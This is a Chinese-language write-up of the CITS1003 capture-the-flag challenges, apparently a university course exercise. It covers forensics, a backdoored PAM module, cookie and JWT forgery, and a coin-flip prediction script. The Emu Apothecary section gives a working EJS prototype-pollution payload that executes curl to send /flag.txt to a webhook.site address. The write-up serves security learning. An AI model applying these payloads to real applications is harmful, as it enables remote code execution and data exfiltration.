CITS1003 CTF wp

  1. CITS1003 CTF
    1. Emu Hack #1 - Backdoored
    2. Caffeinated Emus
    3. Flightless Data
    4. Ruffled Feathers
    5. Emu in the Shell
    6. Feathered Forum - Part 1
    7. Emu Apothecary
    8. Advanced Emu Standard
    9. Emu Cook Book
    10. Emu Casino
    11. EWT

CITS1003 CTF

Emu Hack #1 - Backdoored

根据题目描述,在端口6100061500之间存在一个后门,使用nmap工具进行端口扫描:

nmap 34.116.68.59 -p 61000-61550

image-20240427185925654

发现在端口61337存在TCP服务,按照题目要求使用nc连接后发送EMU拿到flag

nc 34.116.68.59 61337
EMU

image-20240427190418683

Caffeinated Emus

根据提示说图片元数据存在有价值的信息,先右键属性查看没啥特别的:

image-20240427194602383

在这个网站对图片分析一下,或者用exiftool工具也可以:

image-20240427194758409

找到GPS定位信息

31 deg 27' 59.19" S, 119 deg 29' 0.70" E

放到google地图里查一下,找到小镇名字Marvel Loch

image-20240427195103342

Flightless Data

根据提示是steghide工具的使用

查看附件email.html,里面有一张jpg图片和一个密码,直接使用改工具进行文件提取:

steghide extract -sf 111.jpg

回车后输入密码:

theEMusWiLLRoOld3w0oRlD

image-20240427200212033

查看secret.txt拿到flag

image-20240427200237861

Ruffled Feathers

题目要求是修复PDF,看提示说什么Length,网上查了一下length的计算方法:

image-20240427205355895

还有正常PDF的格式大致为:

image-20240427205446268

查看附件内容

image-20240427205546918

这里有个Current很莫名其妙,估计是改这里,再算一下length长度:

image-20240427205715007

正好是272个字节,确定是改这里没毛病了。用Notepad++打开PDF进行修改,将第五行内容进行替换:

image-20240427205814892

保存后重新打开文件看到flag图片:

image-20240427205854735

==非预期解法:==

发现jpg文件头:

image-20240427210020443

直接将前面所有字节删掉,保存后将文件后缀修改为为jpg打开拿到图片

image-20240427210136578

Emu in the Shell

使用ssh连接到服务器:

ssh -p 2022 ir-account@34.87.251.234

根据提示进入/lib/x86_64-linux-gnu/security/目录查看文件修改时间:

ls -al

image-20240427215222685

发现pam_unix.so最近有修改记录,最可疑,将该文件下载到本地用IDA分析:

image-20240427230728660

看这个长得很像密码的样子,试试用该密码登录emu-haxor

su emu-haxor
Password: pUpPet_m4sT3r

成功登录,在home/emu-haxor/flag.txt拿到flag

image-20240427230941388

Feathered Forum - Part 1

附件给出页面源代码,想要访问/forum路由需要对auth_required函数进行绕过。对该函数源码进行分析:

def auth_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        emu_usernames = [account["username"] for account in EMU_USERS_ACCOUNTS]
        # Just check that the "username" cookie matches an existing user
        if not request.cookies.get('username', None) in emu_usernames:
            return redirect(url_for('index'))
        return f(*args, **kwargs)
    return decorated_function

发现只要cookie中的username的值在EMU_USERS_ACCOUNTS即可,这样我们就可以伪造一个cookie进行访问:

GET /forum

Cookie: username=BeakMaster

image-20240427232027952

Emu Apothecary

拿到题目源码,已知使用了ejs模板,在index.js进行传参传递给polluteme.js。对polluteme.js中的关键代码进行分析:

for (const key in userInput) {
    // Input is in the format of `{ingredientName}.{attribute}`
    if (!key.includes(".")) continue
    // Split the key name by the '.' character
    const split = key.split('.')
    // Set the attribute for the ingredient by the first two dots
    // E.g. if the input is vinegar.type=mL it will set
    // {"vinegar": {"type": "mL"}} in the baseIngredients variable
    const ingredientName = split[0]
    if (typeof baseIngredients[ingredientName] === "undefined") {
        baseIngredients[ingredientName] = {}
    }
    const ingredientAttribute = split[1];
    // Should be completely secure doing this???
    // I don't think the hoomans can pollute anything by assigning attributes this way
    // Yeah I am pretty sure this is not vulnerable to prototype pollution
    // I am not merging anything right???
    baseIngredients[ingredientName][ingredientAttribute] = userInput[key];
}

虽然代码里没有``merge或者clone等函数,但 baseIngredients[ingredientName][ingredientAttribute] = userInput[key];进行了两个数组之间的赋值操作,效果等同于进行了clone`,存在原型链污染。再根据题目描述的传参方式进行构造:

GET /?__proto__.escapeFunction=JSON.stringify; process.mainModule.require('child_process').exec('curl -F flag=@/flag.txt https://webhook.site/a120d04a-6263-4083-a587-33d4e08a2b6a')&__proto__.client=true

拿到flag.txt

image-20240428085406716

下载获得flag:

image-20240428085508241

Advanced Emu Standard

AES-128会将原文16位为一组进行加密,不满16也会当成16位去进行加密,所以我们可以将deactivate_special_procedure_123分为两部分deactivate_special_procedure_123,分别对他们进行加密,然后拼接即为答案:

deactivate_speci  Encryptor: 3155433d53ed30c89aef89b2e7273924
al_procedure_123  Encryptor: 4127efafc809cc1209376d039e0001f1

Transmit encrypted command: 3155433d53ed30c89aef89b2e72739244127efafc809cc1209376d039e0001f1

image-20240428084447502

Emu Cook Book

一条龙解密

image-20240428143720534

Emu Casino

根据给出的py脚本可知,随机数种子与session_idround有关,而这两个的值都保存在cookie的session字段内。flasksession为三段base64编码的数据组成,利用工具查看发现,第一段数据解码后就包含我们想要的数据:

image-20240428103936811

抓包看数据的发送过程:

image-20240428104023953

/submit-bet路由下发送一个json数据,我们可以在Set-Cookie中获取下一次使用的cookie,由此就可以写出自动化脚本:

from random import choice, seed
import base64
import json
import requests
def flip_coin(session_id,round):
    seed(str(round) + "_" + session_id)
    return choice(["tails", "heads"])
sess="eyJjcmVkaXRzIjoxMCwicm91bmQiOjEsInNlc3Npb25faWQiOiIyZGE0MDYwMzQyM2JmODViOGJjMDllNGY1YzI5ZGU1ZSJ9.Zi2q9A.3KuBz5eDx7_HylaUEBWxT5RS6nU"
while True:
    url="http://34.87.251.234:3000/submit-bet"
    cookie={"session":sess}
    seq=cookie["session"].split(".")[0]
    while len(seq)%4!=0:
        seq+="="
    jwt=json.loads(base64.urlsafe_b64decode(seq))
    if jwt["credits"]>=10000:
        a=requests.get("http://34.87.251.234:3000/",cookies=cookie)
        print(a.text)
        break
    a=requests.post(url,cookies=cookie,json={"bet_amount":jwt['credits'],"bet_choice":flip_coin(jwt["session_id"],jwt['round'])})
    print(a.text)
    sess=a.headers['set-Cookie'].split(";")[0].replace("session=",'')
    print(sess)

最后拿到flag:

image-20240428104245922

EWT

拿到源码后进行分析,发现关键函数:

async function validateJwt(jwtToken) {
    // We want to allow Emus to use both HS256 and RS256 signing algos
    const decodedJwt = jwt.decode(jwtToken, {complete: true});
    if ( !decodedJwt ) {
        throw Error("where JWT at??")
    }
    const decodedHeader = decodedJwt.header, decodedBody = decodedJwt.payload;
    const signingAlgo = decodedHeader.alg;

    // We only allow HS256 or RS256 signing algos
    if (!["HS256", "RS256"].includes(signingAlgo)) {
        throw Error("invalid algorithm in JWT");
    }

    key = SECRET_KEY;

    if (signingAlgo === "RS256") {
        // Grab where the RS256 public key URL from the "iss" claim in the JWT body
        // We currently haven't figured out how to sign our own RS256 JWTs yet...
        const issuerUrl = decodedBody.iss;

        // Make sure those hoomans aren't hacking with something like file://
        const regExp = new RegExp("^https?://");
        if (!regExp.test(issuerUrl)) {
            throw Error("invalid URL in iss claim");
        }
        
        // Should be fine to download the public key
        key = await downloadFromUrl(issuerUrl);
    }

    // Verify the JWT token
    return jwt.verify(jwtToken, key);
}

要求加密算法必须为RS256或者HS256,而这里提供了若为RS256算法,可从url远程下载public key的方式,我们就可以根据该种方式生成token拿到flag。在https://jwt.io/进行构造:

image-20240428142339778

public key存储在服务器web目录下的 key文件内,iss的值为其地址,因为不太会用pastbin的纯文本分享我就丢自己的服务器上了。将生成的token拿去提交成功拿到flag

image-20240428142823544


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com